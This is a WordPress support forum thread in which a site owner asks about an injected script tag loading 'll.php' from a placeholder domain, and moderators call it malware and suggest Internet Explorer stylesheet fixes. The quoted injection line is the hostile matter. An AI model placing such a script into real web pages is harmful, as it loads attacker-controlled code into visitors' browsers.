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IE issue – possible virus

  • The below script appeared somewhere in my site:
    <script src="http://$domain/ll.php?kk=11">

    Viewing my site, http://www.ccwbystate.com, in internet explorer completely distorts the entire page. I have a separate IE stylesheet due to IE7 issues, but thanks to some very helpful people on here I found out that that script is somewhere and may be the reason that the IE version of my site is so distorted. Any help/tips/comments greatly appreciated, and if you can help me with this fix you will officially be the best human ever.

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  • esmi


    Forum Moderator

    Thanks for the response. I’ve viewed these links before, but was hoping I wouldn’t have to start from scratch after all of the work I’ve put in. Are you aware of that script and whether or not it is a virus? Do you think the script is the reason the IE version of my site is distorted, or do you think it may just be a CSS issue?

    Thanks again for your help.

    Moderator Mark Ratledge


    Forum Moderator

    Remove the out of place xml declaration at the top of header.php; that’s one reason IE is out of whack:

    <?xml version="1.0" encoding="UTF-8"?>

    As for being hacked, read those links above; the 11.php file is malware and you need to clean the site.

    Thank you for the response. I removed the code from the header, but it didn’t change anything. I’m going to try to clean the site the next day or two.

    But let me get this straight…there isn’t any sort of malware software that can scan and remove malware/viruses from wordpress? Everyone has to start from scratch and just reinstall everything?

    That absolutely amazes me. Someone should serious try to capitalize on that.

    Moderator Mark Ratledge


    Forum Moderator

    IE: your ie-stylesheet.css isn’t linking; fix that with this kind of link if the style sheet is in the template directory:

    <!--[if IE]>
    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/ie-stylesheet.css" media="screen" type="text/css" /><![endif]-->

    Malware: read the links above; many kinds of malware are different and there are many different vectors. A complete reinstall from scratch is not necessary.

    Thanks for your continued help. As you directed, I linked the stylesheet.css to the ie-stylesheet correctly, and it is properly linked now. Unfortunately, the removal of <?xml version="1.0" encoding="UTF-8"?> didn’t change anything and the site is still distorted.

    Question… is there a way for me to simply find where the malware is hiding and delete it? Why are these cleaning methods so damn complicated?

    I removed the malware (at least to the best of my knowledge), but I have still have issues with IE. Do you know how I can reduce the margins/fix the map (ccwbystate.com)?

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